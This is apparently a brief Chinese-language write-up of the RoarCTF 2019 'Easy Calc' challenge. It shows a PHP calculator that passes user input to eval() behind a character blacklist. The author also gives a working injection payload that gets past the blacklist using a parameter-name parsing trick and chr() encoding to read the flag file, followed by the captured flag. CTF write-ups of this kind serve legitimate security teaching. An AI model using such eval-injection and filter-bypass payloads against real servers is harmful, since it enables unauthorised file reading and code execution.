[RoarCTF 2019]Easy Calc
打开是一个计算器页面,F12有下面这么一段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>
|
其中$(“#content”).val()等价于document.getElementById(“content”).value;
可以看到请求了calc.php,直接访问这个文件可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
直接拼接$str,实在太嚣张。
试了一下,num里带有数字以外的东西就会被拒绝访问,但这里直接解析利用php解析漏洞就行了(以前专门写过,不展开说了)
单双引号过滤可以用chr()绕过
试了一下,禁用了不少函数,最后payload如下
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{de7cfd19-4506-4db7-ab9a-476e03debf87}